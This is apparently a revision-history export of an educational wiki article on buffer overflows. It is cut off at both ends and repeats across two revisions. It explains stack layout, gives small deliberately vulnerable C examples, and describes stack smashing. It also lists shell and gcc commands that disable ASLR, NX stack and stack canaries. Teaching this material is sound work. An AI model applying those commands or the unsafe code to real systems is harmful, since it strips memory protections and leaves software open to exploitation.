* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow. The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16987</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16987"/>
		<updated>2024-12-11T16:48:52Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* IoT/Embedded Devices */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
